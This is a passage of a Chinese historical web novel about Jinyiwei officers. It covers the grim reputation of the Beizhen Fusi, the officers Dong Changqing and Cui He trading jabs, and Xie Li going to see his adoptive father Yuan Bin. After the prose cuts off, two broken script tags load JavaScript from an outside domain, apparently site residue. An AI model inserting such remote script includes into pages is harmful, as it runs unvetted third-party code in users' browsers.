对这等离谱的传言,北镇抚司的缇骑们有时候也是无语的,明明从诏狱里活着走出去的人也有的嘛,而且他们用刑也是有讲究的,谁跟那些没卵的东西一样变态呢?然而这话外头的人听了也不信,北镇抚司的缇骑们也只能自我安慰一下:能吓着人也是一样好处,办起案来没人敢说谎呢。
可能是为了维持这个人设,北镇抚司进门就是一股子阴森之气,来往的锦衣卫们也都面色严肃,有见到谢骊的也只行礼致意,并不打什么招呼。
别人都习惯了,只董长青的性子受不了这个,待将文书交接之后,便习惯性地一手搭了身边崔和的肩膀,叹道:“咱们这北镇抚司啊,最是个消暑的好地方了,不管外头烈日炎炎,走进来就是一身清凉啊。就是到了冬天不大好,总觉得脖子后头冷嗖嗖的。”
崔和用眼角瞥他一下,嗤了一声:“那你怕不是做了亏心事,才觉得有鬼跟在后头吧?”
董长青嘿嘿笑道:“别说,要是个艳鬼的话倒也不错。”
崔和跟他永远是说不上三句话就要生气,闻言一巴掌将他手臂从自己肩上打了下来,沉着脸道:“艳鬼艳鬼,下回当差你也多想着点艳鬼,我怕你有命见鬼没命回来!”
这话说得其实有点狠,但董长青丝毫不以为意,反而又把手臂搭了上去,还加点力气搂住了崔和的肩膀,嬉皮笑脸地拉着他往外走,口中还道:“牡丹花下死,做鬼也风流嘛。”
崔和气得七窍生烟,然而董长青乃是巨力,他的长处却在符咒,再怎么用力也甩不脱董长青,只能悻悻被他扯了出去,一路上还要听他满嘴的废话。
左膀右臂打嘴仗,谢骊素来是不加理会的,径自往后头走,去寻他义父袁彬了。
现任锦衣卫指挥使袁彬,自英宗皇帝那会儿起便“理锦衣卫事”了,虽则中间几经起伏,先是逯杲后是门达,甚至一度还被下狱,可折腾到如今那两个都没了,袁彬反而在六十多岁的时候再次被今上启用,又一次掌管了锦衣卫。
这来来回回的一番折腾,算是奠定了袁彬的地位,纵然是眼下炙手可热的万家兄弟,挂着个锦衣卫指挥使的虚名头几次想伸手,最后
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">